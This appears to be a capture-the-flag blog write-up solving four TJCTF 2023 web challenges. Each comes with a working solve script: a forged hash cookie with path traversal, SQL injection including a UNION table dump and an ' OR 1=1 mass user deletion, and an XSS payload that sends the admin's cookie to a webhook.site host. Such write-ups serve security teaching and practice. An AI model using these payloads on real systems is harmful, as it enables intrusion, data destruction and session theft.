Home TJCTF 2023 - Writeup
Post
Cancel

TJCTF 2023 - Writeup

Welcome to my blog, where I will share a write-up on the web challenges. I am a member of Team M53 from Malaysia, and we participated in the TJCTF 2023 competition this year.

Link to archive challenges: https://github.com/sajjadium/ctf-archives/tree/main/ctfs/TJCTF/2023

Category : Web

Web : pay-to-win

This service is wayyyyy to expensive. I can’t afford that! I did hear that premium users get a flag though…

Source Code (server.zip) : server.zip

Looking at the Dockerfile, the flag is located in /secret-flag-dir/flag.txt

1
RUN mkdir /secret-flag-dir; mv /app/flag.txt /secret-flag-dir/flag.txt

The code provided represents a Flask application with three endpoints.

/ (GET): This is the root endpoint of the application

/login (GET): This endpoint is used to display the login page

/login (POST): This endpoint is used for user login

When a random username, such as test, is entered on the web page, it will redirect to another page. The web page mentioned that the current user is not a premium user.

Inside app.py, it can be observed that by default, all new users will have their user_type set to basic

1
2
3
4
data = {
	"username": username,
	"user_type": "basic"
}

If we can find a way to modify the user_type to premium, it may grant us access to a different page, potentially enabling us to read the flag.

1
2
3
4
5
if payload['user_type'] == 'premium':
	theme_name = request.args.get('theme') or 'static/premium.css'
	return render_template('premium.jinja', theme_to_use=open(theme_name).read())
else:
	return render_template('basic.jinja')

Every new user will have a randomly generated hexadecimal value associated with their username using the following code snippet

1
2
if username not in users:
        users[username] = hex(random.getrandbits(24))[2:]

The randomly generated value, which we are unaware of, is then used to create a hash that ensures the data cannot be easily altered

1
hash(data + users[payload['username']])

During the CTF, I attempted to brute force the known hash we obtained in the response. The solution script can be found below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from base64 import b64encode
import hashlib,json,random,requests

def hash(data):
        return hashlib.sha256(bytes(data, 'utf-8')).hexdigest()

data = {
    "username": "",
    "user_type": "basic"
}

found_hash = ""
b64data = b64encode(json.dumps(data).encode())

while "73553a6d471a7fea554237c8aafa72327a4b29446d59be71a9ef1c4d5a7d908e" != found_hash:
        found_users = hex(random.getrandbits(24))[2:]
        found_hash = hash(b64data.decode() + found_users)

print("[+] Found!")
print("[+] Craft Payload (premium)")
data = {
    "username": "",
    "user_type": "premium"
}
b64data = b64encode(json.dumps(data).encode())
data_hash = hash(b64data.decode() + found_users)
print("data = "+b64data.decode())
print("hash = "+data_hash)
print("[+] Get the flag!")
cookies={
        "data":b64data.decode(),
        "hash":data_hash
}
resp = requests.get("https://pay-to-win.tjc.tf/?theme=/secret-flag-dir/flag.txt",cookies=cookies)
for i in resp.text.split():
        if "tjctf" in i:
                print(i)
                break

Web : ez-sql

just your average sql challenge, nothing else to see here (trust)

Source Code (app.js) : app.js

It is quite evident that this challenge involves SQL injection in the search endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.get('/search', (req, res) => {
    const { name } = req.query;

    if (!name) {
        return res.status(400).send({ err: 'Bad request' });
    }

    if (name.length > 6) {
        return res.status(400).send({ err: 'Bad request' });
    }

    db.all(`SELECT * FROM jokes WHERE joke LIKE '%${name}%'`, (err, rows) => {
        if (err) {
            console.error(err.message);
            return res.status(500).send('Internal server error');
        }

        return res.send(rows);
    });
});

The flag is stored in a table that starts with flag_, and within that table, there is a column named flag which contains the flag we want to read.

1
2
3
const flag = fs.readFileSync('./flag.txt', { encoding: 'utf8' }).trim();
const flagTable = `flag_${uuid.v4().replace(/-/g, '_')}`;
db.run(`INSERT INTO ${flagTable} (flag) VALUES ('${flag}')`);

Upon reviewing the search function again, it appears that the SELECT statement is vulnerable to SQL injection in the LIKE clause. By using the input %'--, we can exploit this vulnerability and retrieve all the data. We can easily craft a payload to retrieve the flag; however, there is a constraint that prevents us from doing so. The input we provide cannot exceed 6 characters, as any input longer than 6 characters will result in a Bad Request response

1
{"err":"Bad request"}

I would like to acknowledge and thank my team member, @Stephen, for discovering a method to bypass the length constraint. By utilizing [] in the parameter, it transforms the input into an array format, effectively circumventing the length limitation. The solution script can be found below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import urllib3
urllib3.disable_warnings()

# (1)
payload = "nothinghere' UNION SELECT 1,tbl_name from sqlite_master where type='table' and tbl_name like 'flag_%'--"
response = requests.get(f"https://ez-sql-bc4100ee1e8b238e.tjc.tf/search?name[]={payload}",  verify=False)
flag_tbl = response.text.replace('[{"id":1,"joke":"','').replace('"}]','')
print(f"Table name: {flag_tbl}")

# (2)
payload = f"nothinghere' UNION SELECT 1,flag from {flag_tbl}--"
response = requests.get(f"https://ez-sql-bc4100ee1e8b238e.tjc.tf/search?name[]={payload}",  verify=False)
flags = response.text.replace('[{"id":1,"joke":"','').replace('"}]','')
print(f"Flag = {flags}")

Web : notes

obligatory notes site?

Source Code (server.zip) : server.zip

This challenge took me a while to solve during the CTF as I could only work on it during my free time. It was time-consuming to thoroughly comprehend the code and figure out how to exploit it in order to obtain the flag.

Based on the provided code, the following are the important endpoints involved in the application:

/login (POST): Handles the login functionality. Verifies the username and password against the database and associates the session with the user if the credentials are correct.

/register (POST): Handles the login functionality. Verifies the username and password against the database and associates the session with the user if the credentials are correct.

/user/delete (POST): Handles user deletion functionality. Deletes the user from the database, along with their associated notes, if the provided password matches the user’s password.

/note/create (POST): Handles the creation of a new note. Inserts a new note into the database associated with the currently logged-in user.

The important code snippets that are relevant to obtaining the flag are as follows:

1
2
3
4
5
6
7
8
9
10
11
app.get('/', (req, res) => {
    if (!req.session.user_id) {
        return res.redirect('/login?e=login%20to%20make%20notes');
    }

    pool.query(`SELECT * FROM notes WHERE user_id = '${req.session.user_id}';`, (err, results) => {
        pool.query(`SELECT * FROM users WHERE id = '${req.session.user_id}';`, (err, users) => {
            res.render('index', { notes: results, user: users[0] || { username: flag } });
        });
    });
});

In this code snippet, the first query selects all the notes associated with the user ID stored in the session. The second query retrieves the user’s information from the users table based on the user ID. If the users array is empty or no user is found, the username value in the rendered view will be set to the value of the flag variable. To simplify the understanding, we need to ensure that we can delete the data in the table without destroying the session.

The DELETE statement in the /user/delete endpoint is vulnerable to SQL injection, which allows us to use a second account to delete all accounts without destroying the session of the first account.

1
DELETE FROM users WHERE id = '${id}' AND password = '${req.body.password}';

I have created a simple script to automate the tasks and retrieve the flag based on the information provided above.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests, urllib3

urllib3.disable_warnings()

# (1) Register Account
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

data = {
    'username': "test",
    'password': 'test',
}

s = requests.Session()
r = s.post('https://notes-dd58abacdabdcce9.tjc.tf/register', headers=headers, data=data, verify=False)
print("[+] Done Create an Account")

# (2) Create a note with username = "test"
data = {
    "note": "test"
}
r = s.post('https://notes-dd58abacdabdcce9.tjc.tf/note/create', headers=headers, data=data,verify=False)
print("[+] Done Create Post")
cookies =s.cookies.get_dict()

# (3) Create 2nd account 
data = {
    "username" :"test2",
    "password": "test2"
}
s2 = requests.Session()
r2 = s2.post('https://notes-dd58abacdabdcce9.tjc.tf/register', headers=headers, data=data, verify=False)
print("[+] Done Create 2nd account")

# (4) Delete all account without destroy the session for username = "test" using 2nd account
data = {
    "password":"' OR 1=1;-- -"
}
r2 = s2.post('https://notes-dd58abacdabdcce9.tjc.tf/user/delete', headers=headers, data=data, verify=False)
print("[+] Done delete account")

# (5) Get Flag
for i in s.get('https://notes-dd58abacdabdcce9.tjc.tf/',cookies=cookies).text.split():
    if "tjctf" in i:
        print("[+] Found flag: "+i)
        break

Web : yolo

I found this website that makes me really emotional because it’s so motivational…

Source Code (server.zip) : server.zip

This challenge has two links: one for sending a URL to the admin and another one for us to post something. Usually, this challenge might be related to Cross-Site Scripting (XSS). First, let us find out where the flag is located.

The flag can be found in the admin notes within the toDo section. Therefore, we need to discover the endpoint that allows us to browse the note.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import flag from './flag.txt';

function sleep(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time);
    });
}

export default {
    id: 'yolo',
    name: 'yolo',
    urlRegex: /^https:\/\/yolo\.tjc\.tf\//,
    timeout: 10000,
    handler: async (url, ctx) => {
        const page = await ctx.newPage();
        await page.goto('https://yolo.tjc.tf', { waitUntil: 'domcontentloaded' });

        await sleep(1000);

        await page.type('#name', 'admin');
        await page.type('#toDo', flag.trim());

        await page.click('#submit');

        await sleep(500);

        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
        await sleep(3000);
    }
};

If we attempt to send a common payload like <script>alert(1)</script>, it will not execute the XSS attack due to the presence of Content Security Policy (CSP) protection on the web page. Here is the CSP being used by the web server.

1
res.header('Content-Security-Policy', `script-src 'nonce-${req.locals.nonce}'; default-src 'self'; style-src 'self' 'nonce-${req.locals.nonce}';`);

The nonce value is particularly interesting to investigate further, as there are a few lines of code within the following function that utilize a static value on the initial request

1
2
3
4
5
6
7
8
9
app.addHook('onRequest', (req, res, next) => {
....
    req.locals.nonce = req.locals.nonce ?? '47baeefe8a0b0e8276c2f7ea2f24c1cc9deb613a8b9c866f796a892ef9f8e65d';
    req.locals.nonce = crypto.createHash('sha256').update(req.locals.nonce).digest('hex');
    res.header('Content-Security-Policy', `script-src 'nonce-${req.locals.nonce}'; default-src 'self'; style-src 'self' 'nonce-${req.locals.nonce}';`);
....
    next();
});
....

When we make the first request, our nonce will be set to the value 34dce4583c235ebfa8e06020ae7f81ccc0007b05baf6cca9c03ae07930c64b4f, as there is no existing nonce value initially. Subsequent requests will continue to follow the same pattern, allowing us to easily craft our XSS payload with the predictable nonce value on each request.

Looking back at the admin-bot.js, we can confirm that our URL will be browsed by the admin on the 3rd request. Therefore, we can utilize the following code to generate the nonce value for the third request.

1
2
3
4
5
6
const crypto = require('crypto');
const firstnonce = '47baeefe8a0b0e8276c2f7ea2f24c1cc9deb613a8b9c866f796a892ef9f8e65d';
const first_request = crypto.createHash('sha256').update(firstnonce).digest('hex');
const second_request = crypto.createHash('sha256').update(first_request).digest('hex');
const third_request = crypto.createHash('sha256').update(second_request).digest('hex');
console.log(third_request);

With the given nonce value, we can now create an XSS payload to send to the admin. It is crucial to obtain the admin’s cookies, as the endpoint leading to the flag is present within the JWT token. Below is the solution script I developed during the CTF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests, urllib3, base64, json
urllib3.disable_warnings()

cookies = {
    'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2ODUyMDY4NjYsIm5vbmNlIjoiNmNmYTQ2MGMzNGQzYjQ0ODc2N2ViNDdlZGI5YTczZDAzMDYxZTkxM2NkOGE3ZDcxMjM0MGNjZGY4YjM0MmMzNiIsInVzZXJJZCI6ImIxNzQ4MTU0LTg5ZTktNDJiYi1hMjc5LTNjOWU0NmVlOTM3YiJ9.n24-3ah7Q1YjfJlA-MgzUXeSAVh8WiTWpKfCqrVU9Z8',
}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

data = {
    'name': 'test',
    'toDo': '<script nonce="6cfa460c34d3b448767eb47edb9a73d03061e913cd8a7d712340ccdf8b342c36">document.location="https://webhook.site/cc03ff0d-5728-482d-ad83-6a305fd0e4a7/?c="+document.cookie</script>',
}

# (1) Generate XSS payload
response = requests.post('https://yolo.tjc.tf/', cookies=cookies, headers=headers, data=data, verify=False,allow_redirects=False)
locations = "https://yolo.tjc.tf"+response.headers['Location']
print(f"[+] Send to admin this link : {locations}")

# (2) Send to Admin
cookies_b64 = input("[+] Enter cookies values : ")
userid = json.loads(base64.b64decode(cookies_b64.split(".")[1]).decode())['userId']

# (3) Get Flag
response = requests.get(f'https://yolo.tjc.tf/do/{userid}')
for i in response.text.split():
        if "tjctf" in i:
                print(i)
                break

This post is licensed under CC BY 4.0 by the author.